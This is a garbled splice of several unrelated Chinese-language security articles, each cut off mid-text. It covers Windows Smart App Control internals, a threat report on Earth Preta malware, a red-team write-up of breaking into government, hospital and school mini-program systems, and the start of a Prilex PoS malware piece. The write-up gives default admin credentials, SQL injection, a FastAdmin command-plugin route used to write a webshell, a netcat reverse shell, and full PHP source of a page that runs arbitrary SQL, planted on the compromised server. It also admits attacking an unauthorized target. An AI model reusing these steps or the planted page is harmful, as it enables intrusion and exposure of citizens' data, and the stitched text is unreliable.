為了更好地了解簽名是如何驗證的,接下來你可以找到POLICY_SIGNERS_DATA的原型,注意,這將適用於允許簽名者和拒絕簽名者。

24.png

通過查看SI_CHAIN_INFO和POLICY_SIGNERS_DATA,你可以或多或少地了解如何在SIPolicyValidateChainAgainstSigner函數中進行比較。最後,為了總結Signer規範的驗證,下面是在SIPolicyValidateChainAgainstSigner條目處使用SAC強制策略驗證ProcessHacker時記錄的映像。

25.png

老實說,為了達到這張圖片的目的,我不得不稍微修改代碼流。因為在第一次簽名檢查時,Type將匹配,然後它將退出循環。之所以會實現這一點,是因為這個POLICY_SIGNERS_DATA中的信息比第一個檢查的要多。在第一次選中時,唯一的填充值是Type(設置為0x14)。我已嘗試查找有關此Type值的信息,但找不到任何信息。

因此,在為每個活動策略和補充策略運行整個過程之後,我們將返回函數CipApplySiPolicyEx,為每個BasePolicy提供一個CI_VALIDATION_RESULT。補充策略的結果將寫入與BasePolicy相同的CI_VALIDATION_RESULT中。此時,該函數只會遍歷驗證結果,將這些結果存儲在validation Context中。此外,此時SmartLocker事件將記錄在函數CiLogSIPolicySmartlockerEvent中。此處可以記錄四種類型的事件:

SmartlockerOperationalAudit(EventId:3091)SmartlockerOperationalFailure(EventId:3092)SmartlockerVerbose(EventId:3088)SmartlockerOperationalSuccess(EventId:3090) 26.png

我們幾乎完成了,現在將進入調用堆棧,將驗證狀態傳遞到上面的函數。最後,我們將回到CI入口點CiValidateImageHeader,與之前一樣,我們不會對這個函數進行過多討論。關於SAC唯一有趣的一點是,如果SigningLevel匹配以下任何一項:

尚未檢查簽名級別;

文件未簽名;

受Windows防禦措施應用程序控制策略信任;

開發者簽名代碼;

SAC結果是允許執行,然後將使用函數CipInstrumentNightsWatchAllow記錄操作。此函數可以為提供程序CodeIntegrity編寫四個基於TraceLogging的事件。具有以下名稱的NWActivityVerbose CodeIntegrity.NWActivity。

27.png

執行此函數時,將記錄QuestionableAllow或Allow。如果採用了記錄QuestionableAllow的路徑,那麼如果所需數據可用,還將寫入QuestionaleAllowSignatureInfoOriginClaimData。

由於這些是基於跟踪日誌記錄的事件,我們需要使用一些特殊辦法來捕獲跟踪。值得慶幸的是,Matt已經做了所有艱苦的工作來研究和記錄這類事件的過程。看了他的文章《Windows RE使用WPP和TraceLogging》 後,我們可以使用powershell中的以下4行代碼來啟動ETW會話,該會話將捕獲NWActivity和NWActovityVerbose提供程序。

28.png

開始跟踪並使用一些應用程序/安裝程序後,你應該有一個可以用EventViewer打開的EventLog,你可以發現防禦措施最終信任ProcessHacker之類的事情。

29.png

總結就個人而言,我認為微軟為提高操作系統的安全性而採取的措施是很好的,其最終目標是讓用戶更加安全。另一方面,我確實看到了SAC和Windows 10 S之間的一些相似之處。對於SAC,當設置為強制時,限制由具有數字簽名的應用程序設置,如果沒有簽名,則由防禦措施雲認為可信的應用程序進行設置。

第一種選擇,即使你知道數字簽名可以很好地驗證應用程序,許多開源項目或自由開發者負擔不起,不幸的是,這給開發者帶來了一些限制。

第二個選項,即對“智能雲安全服務”的查詢,這也是我希望微軟提供更多信息的地方,因為基本上應用程序能否運行的決定將完全取決於微軟。

本文會詳細分析Windows即將推出的最大安全功能——智能應用控制(Smart App Control,SAC)。 “智能應用控制”功能是什麼,為什麼我認為它是Windows 中最牛的安全功能之一。首先,SAC 會嵌入在操作系統中,啟用後將阻止惡意或不受信任的應用程序。這與AppLocker 非常相似。

在之前一篇文章中,我們看到了SAC是如何啟用和初始化的。在本文中,我們將討論SAC如何執行這些操作。即使SAC是一個新功能,該功能使用的大部分代碼也已經在操作系統中了。我的意思是,在22H2之前的版本中,通過使用適當的策略規範,可以獲得類似的行為。總之,SAC的最大變化是MS將激活特定的WDAC策略,類似於啟用HVCI時,操作系統如何啟用Driver Block Rule策略。

需要注意的是,因為我們在這篇文章中看到的很多內容在操作系統中已經存在了很長時間。 AppLocker或AppID等功能利用了它。當然,有幾個方面只適用於SAC,我一定會注意到這些。從好的方面來看,這篇文章的絕大多數可以推斷出其他WDAC策略是如何評估的。

1.png

SAC運行在本節中,我們將重點關注CI處理來自內核的驗證請求所採取的步驟。我們將深入探討此過程中涉及的主要例程,還將討論CI使用的一些主要結構。正如我剛才提到的,這些步驟中的大多數並不是SAC獨有的,無論啟用哪種策略,都將採取這些步驟。如上圖所示,我們看到有三個主要的評估來源。據我所知,這些要點與以下功能/策略規範有關,至於是選擇使用一個或多個評估取決於策略規範。

OriginClaim (EAs or Token): 託管安裝程序、AppLocker、SmartScreen和SAC;

Query 防禦措施: Intelligent Security Graph (ISG) SAC;

Policy FileRules: 通用於所有具有FileRule的策略。

2.png

在上一篇文章中,我們已經說過全局g_CiPolicyState具有位NW_ENABLED,這意味著SAC已啟用,SAC策略(強製或評估)處於活動狀態,並存儲在g_SiPolicyCtx中。現在,讓我們看看CI向內核提供的回調,看看內核的驗證方式。以下函數建議執行某種類型的驗證:

CiValidateImageHeader;

CiValidateImageData;

CiValidateFileAsImageType;

CiRevalidateImage;

在本文中,我將只關注CiValidateImageHeader。

CiValidateImageHeader可以說,此函數是大多數CI驗證的主要入口點。內核將從MiValidateSectionCreate中引用的SeValidateImageHeader調用此函數。 CiValidateImageHeader將處理CI初始化的第2階段,主要初始化minCrypt、ETW、Lookaside緩衝區等。一旦完成(只有一次),第一步是獲取指定映像(CiGetActionsForImage)行為。此函數將根據諸如Requested SigningLevel之類的內容,或者如果對象來自受保護進程或系統進程,來確定將要進行的驗證操作,這些操作是位字段枚舉,但我不知道大多數值的含義.

操作進行後,函數就可以開始驗證映像了。如果操作變量設置了位0(action_FILE_In_CACHE(0x1)),則CI將嘗試獲取之前為此FO設置的任何驗證數據,並重新驗證。

在本文中,我們不會涉及CI緩存及其驗證原理。本質上,它將嘗試獲取內核EA:$Kernel.Purge.CIpCache或$Kernell.Purge.ESBCache(請參閱函數CipGetFileCache)。然後,它會將策略應用於CiApplyPolicyToSyntheticEa內的這些屬性。這個例程最終將調用CipApplySiPolicyEx,我們稍後將詳細討論。

如果未設置“file in cache”屬性,則會分配用於處理驗證的主結構(CipAllocateValidationContext)。此結構用於所有類型的驗證,例如,此上下文也用於HVCI驗證(請參閱CiHvciSetValidationContextForHvci)。一旦分配了這個上下文,我看到UMCI驗證會發生兩個操作。

如果設置了位2(ACTION_PAGE_HASH(0x4)),驗證函數為-CipValidatePageHash;

如果設置了位8(ACTION_FILE_HASH(0x100)),驗證函數為-CipValidateFileHash。

CipValidateImageHash將接收發生操作的Validation函數作為函數指針。無論傳遞的是什麼函數指針,PageHash還是FileHash,CipValidateImageHash最終都會調用它。在這兩個驗證函數中,CI都會使用被驗證對象的信息更新驗證上下文。諸如FileInfo(CipUpdateValidationContextWithFileInfo)、文件版本(CiGetFileResourceInformation)、嵌入簽名(CipImageGetCertInfo)或對象哈希(Page CipCalculateHeaderHash或File CipCalpulateImageHash)。有了所有這些信息,代碼將通過函數CipApplySiPolicyEx方法繼續應用策略。

對於未簽名映像的驗證,驗證函數將返回STATUS_INVALID_IMAGE_HASH,代碼將進入CipApplySIPolicyUMCI,最終調用前面提到的CipApply SiPolicyEx。相反,對於簽名文件,將從CiVerifyPageHashSignedFile或CiVerify FileHashSingedFile訪問此函數。簡單說明一下,這兩個函數有它們的HVCI對應函數CiHvciXxx。

CipApplySiPolicyEx顧名思義,此函數將把策略應用於正在驗證的對象。該函數將首先設置兩個結構,然後將其傳遞給驗證引擎。一個結構將保存正在驗證的ImageFile的信息,而另一個結構則包含“外部”授權過程所需的信息,我說“外部”授權是因為MS在驗證對象的回調函數名中使用了“外部”授權這個詞。

這兩個結構將存儲在Validation Context中,並且實際上都將被來自Validation Context的數據填充。其中一個包含映像數據,我命名為CI_VALIDATE_IMAGE_DATA,其中包含以下內容:

3.png

另一方面,外部授權結構(我將其命名為CI_EXTERNAL_AUTH)具有以下有趣的值:

4.png

在調用驗證引擎例程之前,CipApplySiPolicyEx將設置一個結構數組,其中包含每個策略的驗證結果,該數組的大小將等於活動策略的數量。我將此結構命名為CI_VALIDATION_RESULT,它具有以下字段:

5.png

最後,我們準備調用SIPolicyObjectValidationEngine,它具有以下原型:

6.png

這個例程將簡單地遍歷策略和補充策略,為每個策略調用內部例程SIPolicyValidateImageInternal。

內部驗證例程的任務是調用外部授權回調,以從“外部源”獲取驗證分數。它將根據此分數,選擇繼續或不繼續根據策略中的規範評估映像。我們將首先關注外部回調,設置為函數CipExternalAuthorizationCallback,然後我們將討論如何評估策略規範。

從代碼中我可以看到,這與MS在文件規範優先順序一節中聲明的有些不同。他們說“它將首先處理它找到的所有顯式拒絕規範。然後,它將處理所有顯式允許規範。如果不存在拒絕或允許規範,WDAC將檢查託管安裝程序EA。最後,如果這些集合都不存在,WDAC會回到ISG”。相反,在代碼中,似乎在處理FileRule之前檢查了託管安裝程序和ISG(外部授權)。

CipExternalAuthorizationCallback這個函數包含了SAC的核心功能,即使它從21H2到22H2沒有太大的變化,當啟用SAC時,有一些細節會造成很大的不同。儘管如此,我們將要討論的大部分內容都將被AppLocker和ISG使用(並且已經被使用了),所以從好的方面來看,我們也將從中學習一些東西。為了概述我們是如何做到這一點的,下面是我們到達外部授權回調時的堆棧,用於驗證未簽名映像時的堆棧。

7.png

該函數將通過檢查策略選項Intelligent Security Graph Authorization(智能安全圖授權)或Managed Installer(託管安裝程序)啟動,如果這些選項都沒有設置,則該函數將退出,SIPolicyValidateImageInternal將繼續處理策略FileRule,我們將在稍後的章節中看到這一點。

如果設置了任何選項,下一步是根據簽名級別確定映像是否可信。這是通過使用為映像獲取的ValidatedSigningLevel,並將此值與全局變量g_CipWhichLevelComparisons內索引為0xC的位掩碼進行比較來實現的。

請注意:全局變量g_CipWhichLevelComparisons存儲了一個指向ulong數組的指針。每個值表示適用於此簽名級別的比較級別。通常與已驗證的簽名級別一起使用,以確定映像的不同操作/選項。例如,對於等於“File Unsigned”(即數組中的索引1)的已驗證簽名級別,位掩碼為0xFFFFFFFE,因此大多數情況下測試此位掩碼時,結果都為正值。在其他情況下,如上所述,索引在代碼中被硬編碼為僅作用於與該索引的位掩碼匹配的已驗證簽名級別。下表有望幫助理解g_CipWhichLevelComparisons和ValidatedSigningLevel之間的關係。

8.png

如上表所示,索引0xC表示位掩碼0x5000,表示“Windows簽名”和“Windows TCB簽名”。此外,接下來的兩個級別“僅用於.NET NGEN編譯器的簽名”和由使用AMPPL的產品的反病毒簽名”也將包含在可信映像列表中。此時,函數將繼續調用CipCheckSmartlockerEAandProcessToken以獲得第一個驗證分數。

我覺得這是一個討論命名的好時機,希望微軟的人能聯繫到我,並澄清命名。有人稱之為Smart App Control和Nights Watch,也有人稱之為AppLocker,內部名稱似乎是SmartLocker。相同或非常相似的事物有4個不同的名稱。這確實有點令人困惑。

該函數具有以下原型:

9.png

這個函數有兩條路徑,其中一條總是被執行,另一條基於booleanIsTrustedSigning。如果不受信任,那麼下面的EA將被查詢為正在驗證的文件對象,它也試圖從當前流程文件對像中獲得相同的EA,但除了存儲在驗證上下文中,我沒有看到它們在其他地方被使用。

$ Kernel.Smartlocker.Hash: 包含映像的哈希;

$ Kernel.Purge.Smartlocker.Valid: 布爾值是否有效;

$Kernel.Smartlocker.OriginClaim: 包含我命名為EA_ORIGIN_CLAIM的結構。

10.png

如果獲得了有效的EA,那麼將檢查OriginClaim結構以確定圖像的分數。 Origin值將決定第一個分數,如果Origin==0,則score |=1,如果Origin==1,則score |=0x1002。

不過我對這方面了解不多。這很可能與WDAC在策略中設置託管安裝程序選項時在AppLocker中使用的特殊規範集合有關。這很可能與在策略中設置託管安裝程序選項時WDAC使用的AppLocker中的特殊規範集合有關。從我所看到的,我知道appid.sys確實設置了此EA,另一種設置此EA的方法是通過CI回調cisetcachedorigin聲明。這個函數在發出帶有標誌0x2000的syscall NtSetCachedSigningLevel時被內核調用,當然不像調用這個syscall來設置EA origin聲明那麼容易,如果這個syscall以前的模式是UserMode,那麼NtSetCachedSigningLevel2將確保請求來自一個受保護的進程。

下一步,無論我們是否檢查了EA,都是獲取存儲在令牌對像中的OriginClaim。對於令牌對象,origin聲明存儲在令牌的SecurityAttributes列表中,這些屬性存儲為Authz SecurityAttributes,並且可以使用函數sequerysecurityattributeken按名稱查詢/檢索。在本例中,將尋找兩個安全屬性:

SMARTLOCKER://ORIGINCLAIM;

SMARTLOCKER://SMARTSCREENORIGINCLAIMNOTINHERITED(Newin22H2,previously“SMARTLOCKER://SMARTSCREENORIGINCLAIM”)

首先將查找OriginClaim。如果發現,分數將相應調整。同樣,我對這方面不太了解,也沒有有關此聲明的結構外觀的信息(appid.sys設置此值令牌)。

之後,將查詢SmartScreen OriginClaim未繼承屬性,如果它被發現並設置標籤CLAIM_DANGEROUS_EXT (0x80) (這不是官方名稱),然後函數將繼續檢查ImageFile是否有被認為是危險擴展名。同樣,在所有情況下,代碼都將檢查ImageFile是否具有InstallerExtension。對於安裝程序擴展,它只會檢查.msi,對於危險擴展的情況,這些值如下:

11.png

如果ImageFile與這些值中的任何一個匹配,則分數將設置為DangerousExtension (0x800),並通過調用CiCatDbSmartlockerDefenderCheck向防禦措施發出查詢,有關此函數稍後將詳細討論。

Earth Preta組織從3月開始就在全球肆虐,其開發的惡意軟件家族包括TONEINS、TONESHELL和PUBLOAD。 Earth Preta又名Mustang Panda或Bronze President。該組織的攻擊對象包括但不限於緬甸、澳大利亞、菲律賓、日本等國家。

趨勢科技的研究人員最近發現Earth Preta濫用虛假谷歌賬戶,通過魚叉式網絡釣魚電子郵件傳播惡意軟件,這些電子郵件最初存儲在一個存檔文件(如rar/zip/jar)中,並通過Google Drive鏈接傳播。然後誘騙用戶下載並觸發惡意軟件執行TONEINS、TONESHELL和PUBLOAD。 PUBLOAD之前已被報導,我們會在本文將其與TONEINS和TONESHELL聯繫起來,後者是該組織在其活動中新使用的惡意軟件家族。

此外,攻擊者利用不同的技術來逃避檢測和分析,如代碼混淆和自定義異常處理程序。我們還發現,魚叉式網絡釣魚郵件的發件人和Google Drive鏈接的所有者是相同的。根據用於誘騙受害者的樣本文件,我們還認為,攻擊者能夠對目標組織進行研究,並可能事先對其進行破壞,從而使其變得熟悉,這在之前被洩露的賬戶名稱的縮寫中有所顯示。

在這篇文章中,我們討論了Earth Preta的活動及其策略、技術和程序(TTP),包括新的安裝程序和後門。

受害目標分析根據我們對這一威脅的監測,誘餌文件是用緬甸文寫成的,內容是“僅限內部”。文件中的大多數主題都是國家間有爭議的問題,包含“機密”或“機密”等詞 ,這可能表明,攻擊者將緬甸政府作為他們的第一個立足點。這也可能意味著,攻擊者在攻擊之前就已經對特定的政治對象進行了破壞,Talos研究人員此前也注意到了這一點。

攻擊者利用竊取的文件作為誘餌,誘騙與緬甸政府機構有合作關係的目標組織下載並執行惡意文件。受害者涵蓋了世界範圍內廣泛的組織和垂直領域,其中亞太地區的受害者集中度更高。除了在緬甸開展合作的政府辦事處外,隨後的受害者還包括教育和研究行業等。除了以涉及特定組織的正在進行的國際事件為誘餌之外,攻擊者還用與色情材料有關的標題引誘個人用戶下載。

2.png

Earth Preta的目標行業分佈

攻擊進程Earth Preta使用魚叉式網絡釣魚郵件作為攻擊的第一步。如前所述,一些郵件的主題和內容討論地緣政治話題,而其他郵件可能包含聳人聽聞的主題。我們觀察到,我們分析的所有電子郵件中都嵌入了Google Drive鏈接,這表明用戶可能會被誘騙下載惡意文件。文件類型包括壓縮文件,例如.rar、zip和.jar。訪問鏈接後,我們了解到文件包含惡意軟件TONEINS、TONESHELL和PUBLOAD。

4.png

有關會議記錄的電子郵件文檔,可能是從先前的攻擊中竊取的

魚叉式網絡釣魚電子郵件通過分析電子郵件的內容,發現Google Drive鏈接被用來誘騙受害者。電子郵件的主題可能為空,或者可能與惡意文件同名。攻擊者沒有將受害者的地址添加到電子郵件的“收件人”標題中,而是使用了假電子郵件。同時,真實受害者的地址被寫在“CC”標題中,可能會逃避安全分析,延緩調查。使用開源情報(OSINT)工具GHunt來探測“收件人”部分中的那些Gmail地址,我們發現了這些虛假賬戶,其中幾乎沒有信息。

此外,我們觀察到一些發件人可能是來自特定組織的電子郵件帳戶。受害者可能會相信這些郵件是由可信的合作夥伴發送的,這增加了收件人選擇惡意鏈接的機會。

虛假文件我們還發現了一些與緬甸政府對象相關或與之合作的組織有關的虛假文件。其中包含了緬甸和中國大使館之間的粗略會面時間表。另一份文件與日本科學促進協會(JSPS)有關,該協會為研究人員提供在日本進行研究交流的機會。值得注意的是,壓縮文件附件中主要是圖片。用於下一層側加載的惡意DLL和可執行文件也包含在其中。

5.png

有關政府會議(左)及海外研究交流(右)的虛假文件樣本

此外,還有其他內容主題多樣的誘餌文件,包括地區事務和色情內容。但是,當受害者打開這個文件夾中的假文檔文件時,沒有相應的內容出現。

其他攻擊途徑我們觀察到至少三種類型的攻擊途徑,包括通過Google Drive鏈接、Dropbox鏈接或其他託管文件的IP地址分佈在世界各地的30多個誘餌文件。在我們收集的大多數樣本中,都有合法的可執行文件,以及側加載的DLL。誘餌文件的名稱在每個案例中都有所不同。在接下來的部分中,我們將以其中一些為例,介紹每一個的TTP。

DLL側加載在該示例中,有三個文件:“~”, Increasingly confident US is baiting China.exe和libcef.dll。值得注意的是,誘餌文件和可執行文件的名稱可能不同,詳細信息將在下一節中介紹。

6.png

誘餌文件

7.png

PUBLOAD文件中的誘餌文件

可以看出“~”文件是一個誘餌文件。 Increasingly confident US is baiting China.exe是一個合法的可執行文件(最初名為adobe_licensing_wf_helper.exe,即adobe licensing wf helper)。這個可執行文件將側載惡意的libeff .dll並觸發導出函數cef_api_hash。

首次執行時,可執行文件嘗試通過複製.exe文件和移動libcef.dll(趨勢科技將其命名為Trojan.W32.PUBLOAD)。

8.png

惡意活動

快捷鏈接惡意文件包含三個文件:New Word Document.lnk、putty.exe和CefBrowser.dll。特別是,DLL和可執行文件被放置在名為“_”的多層文件夾中。

9.png

攻擊者利用.lnk文件通過使用WinRAR解壓縮文件來安裝惡意文件。完整的命令行如下所示。

10.png

Pputty.exe偽裝成一個正常的可執行文件,其原始文件名為AppXUpdate.exe。當它被執行時,它會加載CefBrowser.dll,並在它的導出函數CCefInterface:SubProcessMain中執行主例程。它還濫用schtask來實現持久性。

10.png

惡意軟件在這次活動中,研究人員識別出使用了以下惡意軟件,即PUBLOAD、TONEINS和TONESHELL。

Trojan.Win32.PUBLOADPUBLOAD是一個可以從其指揮控制(CC)服務器下載下一級有效負載的stager。該惡意軟件於2022年5月由Cisco Talos首次披露。

一旦.dll被執行,它首先通過調用OpenEventA來檢查相同的進程是否已經在運行。根據Barberousse發布的推文,一些值得注意的事件名稱被識別為Twitter上其他網絡安全研究人員的用戶名,如“moto_sato”、“xaacrazyman_armyCIAx”和“JohnHammondTeam”。值得注意的是,這些研究人員與PUBLOAD沒有任何關係,只是被二進製文件中的攻擊者有意提及。

14.png

PUBLOAD中特殊事件名稱的示例

持久性分析PUBLOAD在

1. 添加註冊表運行項

15.png

2. 創建計劃任務

16.png

反分析技術:帶有回調的APIPUBLOAD惡意軟件在內存中的AES算法中解密shellcode。 shellcode是通過創建線程或使用不同的API調用的。 API可以接受回調函數的參數,作為觸發shellcode的替代方法。我們觀察到一些利用API的情況,包括GrayStringW、EnumDateFormatsA和LineDDA,可以將其視為繞過反病毒監視和檢測的技術。

17.png

PUBLOAD中的shellcode回調示例

18.png

接受回調函數的API

CC協議解密的PUBLOAD shell代碼收集計算機名和用戶名作為第一個信標的有效負載。有效負載將使用預定義的RC4 (Rivest Cipher 4)密鑰進行加密。在撰寫本文時,到目前為止我們看到的所有階段都共享相同的密鑰。

加密後,stager使用特定的字節序列作為其數據包的標頭。它在加密數據之前加上神奇的字節“17 03 03”和有效負載大小。

19.png

PUBLOAD惡意軟件中使用的RC4密鑰(頂部)和數據包主體(底部)

20.png

PUBLOAD中的請求數據包格式

stager還檢查響應包是否具有相同的魔術標頭“17 03 03”。在內存中下載的有效負載將被視為一段shellcode,並將直接執行。

值得注意的調試字符串在2022年初,我們發現了一些嵌入調試字符串的PUBLOAD示例。它們被用來分散分析人員對主要感染程序的注意力。

21.png

PUBLOAD中分散注意力的調試字符串

Trojan.Win32.TONEINSTrojan.Win32.TONEINS是TONESHELL後門的安裝程序。安裝程序將TONESHELL惡意軟件放入%PUBLIC%文件夾,並為其建立持久性。 TONEINS惡意軟件通常出現在誘餌文件中,在大多數情況下,TONEINS DLL的名稱是libcef.DLL。惡意例程通過調用其導出函數cef_api_hash來觸發。

TONEINS惡意軟件被混淆,可能會減慢惡意軟件分析的速度。它的控制流中包含大量垃圾代碼,並且有大量無用的XOR指令,似乎暗示這些指令用於解碼字符串。經過檢查,我們發現這些混淆的代碼是從開源存儲庫中重用的。

23.png

TONEINS中的代碼混淆

安裝程序通過使用以下schtasks命令建立TONESHELL後門的持久性:

24.png

被釋放的TONESHELL惡意軟件的文件名大小寫不同,計劃任務的名稱也不同。建立持久性後,TONESHELL將合法的可執行文件和惡意的DLL複製到%PUBLIC%文件夾,其中兩個文件的名稱在誘餌存檔中都以“~”開頭。在本示例中,~$220220817.docx是用於DLL側加載的合法可執行文件,而~$20220617(1).docx是要安裝的TONESHELL後門DLL。

25.png

帶有虛假文件擴展名的文件

Backdoor.Win32.TONESHELLTONESHELL惡意軟件是本次活動中使用的主要後門。它是一個shellcode加載器,在內存中使用一個32字節的密鑰加載和解碼後門shellcode。在早期版本的TONESHELL中,它具有來自TONEINS惡意軟件的功能,包括建立持久性和安裝後門。然而,最新版本的TONESHELL是一個獨立的後門,沒有任何安裝程序功能(例如文件~$Talkpoints.docx)。它也以類似於TONEINS惡意軟件的方式被混淆,表明攻擊者繼續更新武器庫以繞過檢測。

反分析:進程名稱檢查為了確保TONESHELL被正確安裝,Backdoor.Win32.TONESHELL首先檢查進程路徑是否與預期路徑匹配。如果是,則自定義異常處理程序可能會觸發惡意代碼。

26.png

TONESHELL中的進程名稱檢查

反分析:c++中的自定義異常處理程序有趣的是,攻擊者使用自定義異常處理程序的實現隱藏了實際的代碼流。將根據進程名稱檢查的結果調用不同的異常處理程序,通過調用_CxxThrowException觸發異常來繼續惡意例程。調用後,C++運行時將從ThrowInfo結構一直到_msRttiDscr結構中的CatchProc成員找到相應的異常處理程序,其中包含真正的惡意代碼。在此示例中,異常處理程序位於偏移量0x10005300處。這種技術不僅隱藏了執行流,而且還停止了分析師調試器的執行。

27.png

C++中異常處理的數據工作流;黃色圓圈中的CatchProc成員是要調用的惡意異常處理程序

28.png

異常處理程序中的主要惡意例程

反分析:ForegroundWindow檢查查看最近的TONESHELL示例,我們注意到與早期版本相比,添加了新的反沙盒技術。較新的版本調用GetForegroundWindow API兩次並檢查是否有任何窗口切換。如果環境是沙盒,兩個調用將獲得相同的窗口句柄,因為大多數沙盒中不涉及人工交互,導致前台窗口不更改。此外,作為一種反沙盒和延遲執行技術,惡意例程只有在前台窗口已經切換了第五次時才會被觸發。

29.png

更新的TONESHELL示例中的GetForegroundWindow檢查

30.png

第五個窗口開關觸發的惡意例程

Shellcode解碼觸發惡意異常處理程序後,它開始解碼下一階段的TONESHELLshellcode。要解碼shellcode,它首先在與0x7D的XOR運算中解碼一個32字節的密鑰,然後該密鑰將用於解碼shellcode主體。

31.png

解碼前(中間)和解碼後(底部)32字節密鑰(頂部)和TONESHELLshellcode的示例

不斷改進的變體我們發現了TONESHELLshellcode的幾種變體:

32.png

TONESHELL變體之間的差異

變體ATONESHELL在設計上支持多達10個CC服務器,但在我們F發現的所有示例中,只使用了一個CC服務器。在連接到CC服務器之前,它使用受害者的捲序列號和計算機名生成一個受害者ID(變量unique_id),或者使用一個隨機生成的GUID。

33.png

查找TONESHELL中支持的10個CC服務器

34.png

在TONESHELL變體A中用於生成受害者ID的算法

在第一個信標中,它從受害者的設備收集以下數據並將其發送到CC服務器:

當前進程ID;

卷序列號;

使用者名稱;

計算機名稱;

產品名稱;

操作系統位;

進程列表;

TONESHELL通過原始TCP進行通信,請求標頭和響應標頭以特定

0x00 前言

刚结束某地HVV,小程序作为低成本易用的信息化系统,成为HVV新型重点突破对象。以下案例均来自于小程序,供大家学习。

0x01 案例一 某政务系统

1.弱口令进入后台

点击小程序,进入公民办事,抓到小程序域名,访问直接是管理员后台,如下页面即为Fastadmin框架 。

image-20230804233808809

一直有个坑,登录一直显示口令无效,在我要放弃的时候,点击返回上一步提醒我,您已登录,我纳闷了,发现该系统登陆操作后token会刷新,导致下一次登录必须使用上一次token,否则口令无效。因此应该是网络或系统本身有延时,导致未成功使用正确token进行登陆操作,当发现这个问题的时候我已经admin/123456登进了后台。

image-20230804233928487

内包含数据近20000条公民信息,以及管理员账户几百个,且所有管理员账户中的账户名密码均为admin/123456。与地级市HVV | 未授权访问合集中的案例四系统情况类似。(码死)

image-20230804234620409

2.到处都是SQL注入

前台业务处如下包,debug没有关导致爆出来数据库账户名密码,这个SQL注入太明显了,但此时我处在数据库账密的喜悦中没有搞SQL注入,可是这个数据库不对外,只能本地连接,烦死了。

image-20230804234900245

image-20230804235223957

后台查看管理员的时候存在延时注入

image-20230804235333429

image-20230804235520250

3.命令执行拿下服务器和数据库

既然是fastadmin,那有很多拿shell的方法,这次是用在线命令插件漏洞写入PHP Webshell,该漏洞只在1.1.0可用。

但是这个系统是二开的,根本找不到插件的地方,在网上搜罗了一下拼接找到插件页面。

目录为:/addon?ref=addtabs

那该插件的目录就应该是/addon/command?ref=addtabs,但是显示该页面不存在,我以为路由没设置,把这个禁了,直到队友在一个文章发现直接command即可访问该插件,即目录为/command?ref=addtabs

image-20230805000548485

点击一键生成API文档,文件为php,标题写为木马内容即可,测试只有冰蝎马可以,以前有类似案例。

image-20230805000747580

连接木马成功

image-20230805000951036

通过传大马中的nc提权,反弹shell到云服务器拿到root权限。

image-20230805001343057

大马执行sql语句会报错,乱码,很烦。

数据库账户密码我还记着呢,我通过自己写一个sql执行页面的php文件来连接数据库。证明我拿下数据库权限。

image-20230805001445813

代码如下:


<html>
<head>
    <title>执行MySQL语句</title>
</head>
<body>
    <h1>执行MySQL语句</h1>

    <form method="POST" action="">
        <textarea name="sql_statement" rows="5" cols="50" placeholder="请输入MySQL语句"></textarea>
        <br>
        <input type="submit" value="执行">
    </form>

    <?php
    // 检查是否提交了表单
    if ($_SERVER['REQUEST_METHOD'] === 'POST') {
        // 获取用户输入的MySQL语句
        $sql_statement = $_POST['sql_statement'];

        // 连接MySQL数据库
        $host = 'localhost';
        $username = '';
        $password = '';
        $database = '';

        $connection = mysqli_connect($host, $username, $password, $database);

        // 执行MySQL查询
        $result = mysqli_query($connection, $sql_statement);

        // 检查查询结果
        if ($result) {
            // 回显查询结果
            echo '<h2>查询结果:</h2>';
            while ($row = mysqli_fetch_assoc($result)) {
                echo '';
                print_r($row);
                echo '';
            }
        } else {
            // 显示错误消息
            echo '<h2>错误:</h2>';
            echo '<p>' . mysqli_error($connection) . '</p>';
        }

        // 关闭数据库连接
        mysqli_close($connection);
    }
    ?>

</body>
</html>

0x02 案例二 某县医院数据库

1.SQL注入拿下DBA

该医院的SQL注入处于公众号挂号处,当我登录进去点击挂号记录,抓到一个带病人id的包。

image-20230805001938526

加了个单引号,出现报错order by

image-20230805002523985

直接SQLmap跑发现跑不出来,但注入确实存在。发现asp.net框架,说明对方系统为windows。

image-20230805002955771

分别指定数据库MySQL,Oracle,MSSQL。终于在MSSQL时跑出注入,且为DBA权限。

image-20230805003357942

想到xp_cmdshell可以执行命令,但可惜这是HIS,人家做了防护,我无论怎么设置都无法执行命令,放弃换目标。

0x03 案例三 某中学访客系统

1.未授权+信息泄露

打开小程序抓包,直接抓到了所有被访人的信息,一个接口未授权访问。

image-20230805003829804

还没登录就这样,登进去还了得。

登进去并添加了一个访问申请image-20230805004820411

在查看自己的访问申请记录时抓包

image-20230805004432163

抓到如下链接:app/visitor/getVisitorInfo?viId=1,遍历可得到访客信息几百条,以及访客记录等。认定为平行越权,最后发现甚至是未授权访问,没有权限验证。

image-20230805004401655

0x04 案例四 我打偏了

这个案例比较好笑,是我在搜小程序,它弹出了差一个字的小程序,没仔细看就开始打,也是一个县医院。

这应该是疫情期间专门为核酸检测预约做的小程序。

1.平行越权+信息泄露

image-20230805005119179

登录的时候如果身份证姓名不匹配是无法通过验证的,说明里面的身份证信息都是真实的,登进来的习惯性找带用户id的功能,点击就诊人列表抓包。

image-20230805005822924

查到了自己的手机,身份证,名字,性别

image-20230805010022930

修改id可以查看其他人的信息,共计十几万条,妥妥的平行越权。

2.平行越权的SQL注入

习惯性加个单引号,直接报错,页面显示SQL错误,这不是对应上了嘛,edu-SQL注入案例分享最后一条总结,平行越权大概率存在SQL注入。但是我这打歪了,没有授权,就打住放弃了,后续移交平台整改。

image-20230805010332476



原文链接:   https://forum.butian.net/share/2400

sl-malicious-pos-terminal-payment-transaction-phone-1200x600.jpg

ATM 惡意軟件組織Prilex自2014 年起就開始活躍,不過在2016 年,該組織決定放棄ATM 業務,將所有註意力集中在PoS 系統。很快,他們採用了惡意軟件即服務模式,並將攻擊範圍擴大至巴西以外的地方,以模塊化的方式創建了一套包括後門、上傳程序和竊取程序的工具。

Prilex PoS惡意軟件從一個簡單的內存抓取器演變為非常先進和復雜的惡意軟件,直接處理PIN pad硬件協議而不是使用更高級別的API,在目標軟件中進行實時修補,掛鉤操作系統庫,擾亂回复、流量和端口,以及從基於重放的攻擊切換到為其GHOST 交易生成密碼,即使是使用CHIP 和PIN 技術保護的信用卡。

在2016 年的狂歡節期間,一家巴西銀行意識到他們的ATM 已被黑客入侵,其中的所有現金都被盜了。根據事後報告,策劃此次攻擊的攻擊者能夠在同一起事件中感染屬於一家銀行的1000多台機器,這使他們得以在巴西複製2.8萬張獨特的信用卡。

